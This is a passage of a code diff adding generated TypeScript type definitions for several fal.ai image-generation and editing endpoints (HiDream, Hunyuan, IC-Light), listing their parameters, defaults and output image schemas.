provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The width of the image + */ + width?: number | null +} + +export type OutputFalAiHidreamO1ImageDev = { + /** + * @description Generation timings. + * @type object + */ + timings: { + [key: string]: number + } + /** + * @description The seed used for generation. + * @type integer + */ + seed: number + /** + * @description Generated images. + * @type array + */ + images: ImageFileA61A677F[] + /** + * @description Whether each generated image was flagged by the safety checker. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The prompt used for generation. + * @type string + */ + prompt: string +} + +export type ImageSize672A1884 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiHidreamO1ImageDevEditOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiHidreamO1ImageDevEditOutputFormatEnumKey = + (typeof inputFalAiHidreamO1ImageDevEditOutputFormatEnum)[keyof typeof inputFalAiHidreamO1ImageDevEditOutputFormatEnum] + +export const inputFalAiHidreamO1ImageDevEditImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiHidreamO1ImageDevEditImageSizeKey = + (typeof inputFalAiHidreamO1ImageDevEditImageSize)[keyof typeof inputFalAiHidreamO1ImageDevEditImageSize] + +export type InputFalAiHidreamO1ImageDevEdit = { + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Text prompt for image generation, editing, or subject-driven personalization. + * @minLength 1 + * @example A cinematic product photo of a ceramic mug on a marble counter, soft window light, shallow depth of field. + * @type string + */ + prompt: string + /** + * @description Number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description When exactly one reference image is provided, preserve its aspect ratio for the output image. + * @default false + * @type boolean | undefined + */ + keep_original_aspect?: boolean + /** + * @description Reference images for image editing or subject-driven personalization. + * @example ["https://storage.googleapis.com/falserverless/model_tests/hidream/woman.png"] + * @type array + */ + reference_image_urls: string[] + /** + * @description Random seed for reproducible generation. + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiHidreamO1ImageDevEditOutputFormatEnumKey + /** + * @description Requested output image size. Reference-image outputs use the nearest model-supported resolution up to about 2048x2048 pixels. + * @default {"height":2048,"width":2048} + */ + image_size?: ImageSize672A1884 | InputFalAiHidreamO1ImageDevEditImageSizeKey + /** + * @description Classifier-free guidance scale. The dev model uses 0.0 by default. + * @minimum 0 + * @maximum 20 + * @default 0 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Enable the safety checker on generated images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Number of denoising steps. The dev model is distilled for 28 steps. + * @minimum 1 + * @maximum 28 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number +} + +export type ImageFile5Bc3A5Aa = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The width of the image + */ + width?: number | null +} + +export type OutputFalAiHidreamO1ImageDevEdit = { + /** + * @description Generation timings. + * @type object + */ + timings: { + [key: string]: number + } + /** + * @description The seed used for generation. + * @type integer + */ + seed: number + /** + * @description Generated images. + * @type array + */ + images: ImageFile5Bc3A5Aa[] + /** + * @description Whether each generated image was flagged by the safety checker. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The prompt used for generation. + * @type string + */ + prompt: string +} + +export type ImageSize78Bd54A0 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiHidreamO1ImageEditImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiHidreamO1ImageEditImageSizeKey = + (typeof inputFalAiHidreamO1ImageEditImageSize)[keyof typeof inputFalAiHidreamO1ImageEditImageSize] + +export const inputFalAiHidreamO1ImageEditOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiHidreamO1ImageEditOutputFormatEnumKey = + (typeof inputFalAiHidreamO1ImageEditOutputFormatEnum)[keyof typeof inputFalAiHidreamO1ImageEditOutputFormatEnum] + +export type InputFalAiHidreamO1ImageEdit = { + /** + * @description Reference images for image editing or subject-driven personalization. + * @example ["https://storage.googleapis.com/falserverless/model_tests/hidream/woman.png"] + * @type array + */ + reference_image_urls: string[] + /** + * @description Classifier-free guidance scale. The full model uses 5.0 by default. + * @minimum 0 + * @maximum 20 + * @default 5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Requested output image size. Reference-image outputs use the nearest model-supported resolution up to about 2048x2048 pixels. + * @default {"height":2048,"width":2048} + */ + image_size?: ImageSize78Bd54A0 | InputFalAiHidreamO1ImageEditImageSizeKey + /** + * @description Enable the safety checker on generated images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description When exactly one reference image is provided, preserve its aspect ratio for the output image. + * @default false + * @type boolean | undefined + */ + keep_original_aspect?: boolean + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiHidreamO1ImageEditOutputFormatEnumKey + /** + * @description Random seed for reproducible generation. + */ + seed?: number | null + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Number of denoising steps. + * @minimum 1 + * @maximum 50 + * @default 50 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Text prompt for image generation, editing, or subject-driven personalization. + * @minLength 1 + * @example A cinematic product photo of a ceramic mug on a marble counter, soft window light, shallow depth of field. + * @type string + */ + prompt: string +} + +export type ImageFile3D3B3Ee6 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The width of the image + */ + width?: number | null +} + +export type OutputFalAiHidreamO1ImageEdit = { + /** + * @description Generation timings. + * @type object + */ + timings: { + [key: string]: number + } + /** + * @description The seed used for generation. + * @type integer + */ + seed: number + /** + * @description Generated images. + * @type array + */ + images: ImageFile3D3B3Ee6[] + /** + * @description Whether each generated image was flagged by the safety checker. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The prompt used for generation. + * @type string + */ + prompt: string +} + +export type InputFalAiHunyuanWorld = { + /** + * @description The URL of the image to convert to a panorama. + * @example https://v3.fal.media/files/penguin/_4oXlxt85dr0WY2o0I894_output.png + * @type string + */ + image_url: string + /** + * @description The prompt to use for the panorama generation. + * @example A skyland of wonders + * @type string + */ + prompt: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image5D137118 = { + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null +} + +export type OutputFalAiHunyuanWorld = { + /** + * @description The generated panorama image. + * @example {"width":1920,"file_size":2738127,"content_type":"image/png","file_name":"5db7925423b44f2a98098cd8f7cad7ec.png","url":"https://v3.fal.media/files/kangaroo/P2AmXuLlyDIsivqjV_rAr_5db7925423b44f2a98098cd8f7cad7ec.png","height":960} + * @type object + */ + image: Image5D137118 +} + +export type ImageSize42F62A50 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiHunyuanImageV21TextToImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiHunyuanImageV21TextToImageOutputFormatEnumKey = + (typeof inputFalAiHunyuanImageV21TextToImageOutputFormatEnum)[keyof typeof inputFalAiHunyuanImageV21TextToImageOutputFormatEnum] + +export const inputFalAiHunyuanImageV21TextToImageImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiHunyuanImageV21TextToImageImageSizeKey = + (typeof inputFalAiHunyuanImageV21TextToImageImageSize)[keyof typeof inputFalAiHunyuanImageV21TextToImageImageSize] + +export type InputFalAiHunyuanImageV21TextToImage = { + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiHunyuanImageV21TextToImageOutputFormatEnumKey + /** + * @description Enable prompt enhancement for potentially better results. + * @default true + * @type boolean | undefined + */ + use_reprompt?: boolean + /** + * @description Enable the refiner model for improved image quality. + * @default false + * @type boolean | undefined + */ + use_refiner?: boolean + /** + * @description Number of denoising steps. + * @minimum 1 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Random seed for reproducible results. If None, a random seed is used. + */ + seed?: number | null + /** + * @description The negative prompt to guide the image generation away from certain concepts. + * @default '' + * @example blurry, low quality, watermark, signature + * @type string | undefined + */ + negative_prompt?: string + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Controls how much the model adheres to the prompt. Higher values mean stricter adherence. + * @minimum 1 + * @maximum 20 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The desired size of the generated image. + * @default square_hd + */ + image_size?: + | ImageSize42F62A50 + | InputFalAiHunyuanImageV21TextToImageImageSizeKey + /** + * @description The text prompt to generate an image from. + * @example A cute, cartoon-style anthropomorphic penguin plush toy, standing in a painting studio, wearing a red knitted scarf and beret. + * @type string + */ + prompt: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageAfd38Fd3 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiHunyuanImageV21TextToImage = { + /** + * @description A list of the generated images. + * @example {"content_type":"image/png","url":"https://v3.fal.media/files/zebra/WCrMfUTYp6mYCf6yRE3kw_generated_image_0.png"} + * @type array + */ + images: ImageAfd38Fd3[] + /** + * @description The base seed used for the generation process. + * @type integer + */ + seed: number +} + +export type ImageSizeCe8257E8 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiHunyuanImageV3InstructEditOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiHunyuanImageV3InstructEditOutputFormatEnumKey = + (typeof inputFalAiHunyuanImageV3InstructEditOutputFormatEnum)[keyof typeof inputFalAiHunyuanImageV3InstructEditOutputFormatEnum] + +export const inputFalAiHunyuanImageV3InstructEditImageSize = { + auto: 'auto', + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiHunyuanImageV3InstructEditImageSizeKey = + (typeof inputFalAiHunyuanImageV3InstructEditImageSize)[keyof typeof inputFalAiHunyuanImageV3InstructEditImageSize] + +export type InputFalAiHunyuanImageV3InstructEdit = { + /** + * @description Random seed for reproducible results. If None, a random seed is used. + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiHunyuanImageV3InstructEditOutputFormatEnumKey + /** + * @description If set to true, the prompt will be expanded through the model's internal recaptioning step. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The desired size of the generated image. If auto, image size will be determined by the model. + * @default auto + */ + image_size?: + | ImageSizeCe8257E8 + | InputFalAiHunyuanImageV3InstructEditImageSizeKey + /** + * @description Controls how much the model adheres to the prompt. Higher values mean stricter adherence. + * @maximum 20 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The text prompt to generate an image from. + * @example Turn this artwork into a realistic image + * @type string + */ + prompt: string + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If set to true, the safety checker will be enabled. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The URLs of the images to use as a reference for the generation. A maximum of 3 images are supported. + * @example ["https://v3b.fal.media/files/b/0a8c3cf9/voXcX8hd5maRSrSvZalXh_jAMqrScj.png"] + * @type array + */ + image_urls: string[] + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageD6D185A5 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiHunyuanImageV3InstructEdit = { + /** + * @description The base seed used for the generation process. + * @type integer + */ + seed: number + /** + * @description A list of the generated images. + * @example [{"width":1024,"url":"https://v3b.fal.media/files/b/0a8c3d5f/K7ecUzkFaxU-5hvzdhvG-_SOvArpR4.png","content_type":"image/png","height":1024}] + * @type array + */ + images: ImageD6D185A5[] +} + +export type ImageSizeDe073C79 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiHunyuanImageV3InstructTextToImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiHunyuanImageV3InstructTextToImageOutputFormatEnumKey = + (typeof inputFalAiHunyuanImageV3InstructTextToImageOutputFormatEnum)[keyof typeof inputFalAiHunyuanImageV3InstructTextToImageOutputFormatEnum] + +export const inputFalAiHunyuanImageV3InstructTextToImageImageSize = { + auto: 'auto', + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiHunyuanImageV3InstructTextToImageImageSizeKey = + (typeof inputFalAiHunyuanImageV3InstructTextToImageImageSize)[keyof typeof inputFalAiHunyuanImageV3InstructTextToImageImageSize] + +export type InputFalAiHunyuanImageV3InstructTextToImage = { + /** + * @description Random seed for reproducible results. If None, a random seed is used. + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiHunyuanImageV3InstructTextToImageOutputFormatEnumKey + /** + * @description If set to true, the prompt will be expanded through the model's internal recaptioning step. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The desired size of the generated image. If auto, image size will be determined by the model. + * @default auto + */ + image_size?: + | ImageSizeDe073C79 + | InputFalAiHunyuanImageV3InstructTextToImageImageSizeKey + /** + * @description Controls how much the model adheres to the prompt. Higher values mean stricter adherence. + * @maximum 20 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The text prompt to generate an image from. + * @example Macro photograph of a peacock feather showing individual barbs, barbules, and the iridescent microstructure creating color. + * @type string + */ + prompt: string + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If set to true, the safety checker will be enabled. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageA1Bec146 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiHunyuanImageV3InstructTextToImage = { + /** + * @description The base seed used for the generation process. + * @type integer + */ + seed: number + /** + * @description A list of the generated images. + * @example [{"width":1024,"url":"https://v3b.fal.media/files/b/0a8c37ef/niSZAZpVwwixexdtx1AAf.png","content_type":"image/png","height":1024}] + * @type array + */ + images: ImageA1Bec146[] +} + +export type ImageSize265A7462 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiHunyuanImageV3TextToImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiHunyuanImageV3TextToImageOutputFormatEnumKey = + (typeof inputFalAiHunyuanImageV3TextToImageOutputFormatEnum)[keyof typeof inputFalAiHunyuanImageV3TextToImageOutputFormatEnum] + +export const inputFalAiHunyuanImageV3TextToImageImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiHunyuanImageV3TextToImageImageSizeKey = + (typeof inputFalAiHunyuanImageV3TextToImageImageSize)[keyof typeof inputFalAiHunyuanImageV3TextToImageImageSize] + +export type InputFalAiHunyuanImageV3TextToImage = { + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Whether to enable prompt expansion. This will use a large language model to expand the prompt with additional details while maintaining the original meaning. + * @default false + * @example true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiHunyuanImageV3TextToImageOutputFormatEnumKey + /** + * @description Number of denoising steps. + * @minimum 1 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Random seed for reproducible results. If None, a random seed is used. + */ + seed?: number | null + /** + * @description The negative prompt to guide the image generation away from certain concepts. + * @default '' + * @example blurry, low quality, watermark, signature + * @type string | undefined + */ + negative_prompt?: string + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Controls how much the model adheres to the prompt. Higher values mean stricter adherence. + * @minimum 1 + * @maximum 20 + * @default 7.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The desired size of the generated image. + * @default square_hd + */ + image_size?: + | ImageSize265A7462 + | InputFalAiHunyuanImageV3TextToImageImageSizeKey + /** + * @description The text prompt for image-to-image. + * @example 200mm telephoto through crowd gaps; subject laughing, candid; creamy background compression, color pop from a single bold garment, catchlight in eyes. + * @type string + */ + prompt: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageC6874Ea9 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiHunyuanImageV3TextToImage = { + /** + * @description A list of the generated images. + * @example [{"content_type":"image/png","url":"https://v3b.fal.media/files/b/kangaroo/uIKrZHT6LaGqgXoxtBSn7.png"}] + * @type array + */ + images: ImageC6874Ea9[] + /** + * @description The base seed used for the generation process. + * @type integer + */ + seed: number +} + +export type ImageSize69A76269 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiHyWuEditImageSize = { + auto: 'auto', + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiHyWuEditImageSizeKey = + (typeof inputFalAiHyWuEditImageSize)[keyof typeof inputFalAiHyWuEditImageSize] + +export const inputFalAiHyWuEditOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiHyWuEditOutputFormatEnumKey = + (typeof inputFalAiHyWuEditOutputFormatEnum)[keyof typeof inputFalAiHyWuEditOutputFormatEnum] + +export type InputFalAiHyWuEdit = { + /** + * @description Number of diffusion denoising steps. + * @minimum 1 + * @maximum 100 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description If True, the media will be returned as a data URI. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description If set to true, the safety checker will be enabled. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description URLs of input images for editing. Typically 2 images: the base image and the reference image. Supports up to 3 images. + * @example ["https://v3b.fal.media/files/b/0a933dff/BE-FgBximAbCJzZSgDNNw_input_1_1.png","https://v3b.fal.media/files/b/0a933dff/fNUqzO_Lxwvr-_-4BLeCV_input_1_2.png"] + * @type array + */ + image_urls: string[] + /** + * @description The desired size of the generated image. If auto, image size will be determined by the model. + * @default auto + */ + image_size?: ImageSize69A76269 | InputFalAiHyWuEditImageSizeKey + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiHyWuEditOutputFormatEnumKey + /** + * @description The text prompt describing the desired edit. Supports both English and Chinese. Use specific instructions like 'Replace the clothing on figure 1 with the outfit from figure 2'. + * @example Using image 1 as the base image, replace the outfit with the clothing from image 2 while keeping the subject, pose, and background unchanged. + * @type string + */ + prompt: string + /** + * @description Random seed for reproducible results. If None, a random seed is used. + */ + seed?: number | null + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Enable thinking mode. The model reasons about the edit before generating, producing higher quality results at the cost of longer inference time. Disable for faster results on straightforward edits. + * @default true + * @type boolean | undefined + */ + enable_thinking?: boolean +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image29Ac936C = { + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null +} + +export type OutputFalAiHyWuEdit = { + /** + * @description Performance timing breakdown. + * @default {} + * @type object | undefined + */ + timings?: { + [key: string]: number + } + /** + * @description A list of the generated/edited images. + * @type array + */ + images: Image29Ac936C[] + /** + * @description The seed used for generation. + * @type integer + */ + seed: number +} + +export type ImageSize4324301F = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export const inputFalAiIclightV2InitialLatentEnum = { + None: 'None', + Left: 'Left', + Right: 'Right', + Top: 'Top', + Bottom: 'Bottom', +} as const + +export type InputFalAiIclightV2InitialLatentEnumKey = + (typeof inputFalAiIclightV2InitialLatentEnum)[keyof typeof inputFalAiIclightV2InitialLatentEnum] + +export const inputFalAiIclightV2ImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiIclightV2ImageSizeKey = + (typeof inputFalAiIclightV2ImageSize)[keyof typeof inputFalAiIclightV2ImageSize] + +export const inputFalAiIclightV2OutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiIclightV2OutputFormatEnumKey = + (typeof inputFalAiIclightV2OutputFormatEnum)[keyof typeof inputFalAiIclightV2OutputFormatEnum] + +export type InputFalAiIclightV2 = { + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Use HR fix + * @default false + * @type boolean | undefined + */ + enable_hr_fix?: boolean + /** + * @description Negative Prompt for the image + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description URL of image to be used for relighting + * @example https://storage.googleapis.com/falserverless/iclight-v2/bottle.png + * @type string + */ + image_url: string + /** + * @description + * Provide lighting conditions for the model + * + * @default 'None' + * @type string | undefined + */ + initial_latent?: InputFalAiIclightV2InitialLatentEnumKey + /** + * @description The size of the generated image. + */ + image_size?: ImageSize4324301F | InputFalAiIclightV2ImageSizeKey + /** + * @description URL of mask to be used for ic-light conditioning image + */ + mask_image_url?: string | null + /** + * @description The real classifier-free-guidance scale for the generation. + * @minimum 0.01 + * @maximum 5 + * @default 1 + * @type number | undefined + */ + cfg?: number + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The prompt to generate an image from. + * @example perfume bottle in a volcano surrounded by lava. + * @type string + */ + prompt: string + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiIclightV2OutputFormatEnumKey + /** + * @description Strength for low-resolution pass. + * @minimum 0.01 + * @maximum 1 + * @default 0.98 + * @type number | undefined + */ + lowres_denoise?: number + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description Threshold for the background removal algorithm. A high threshold will produce sharper masks. Note: This parameter is currently deprecated and has no effect on the output. + * @minimum 0.01 + * @maximum 1 + * @default 0.67 + * @type number | undefined + */ + background_threshold?: number + /** + * @minimum 0.01 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + hr_downscale?: number + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Strength for high-resolution pass. Only used if enable_hr_fix is True. + * @minimum 0.01 + * @maximum 1 + * @default 0.95 + * @type number | undefined + */ + highres_denoise?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 20 + * @default 5 + * @type number | undefined + */ + guidance_scale?: number +} + +export type ImageD2B0F6Fb = { + height: number + /** + * @default image/jpeg + */ + content_type?: string | null + width: number + url: string +} + +export type OutputFalAiIclightV2 = { + /** + * @description + * Seed of 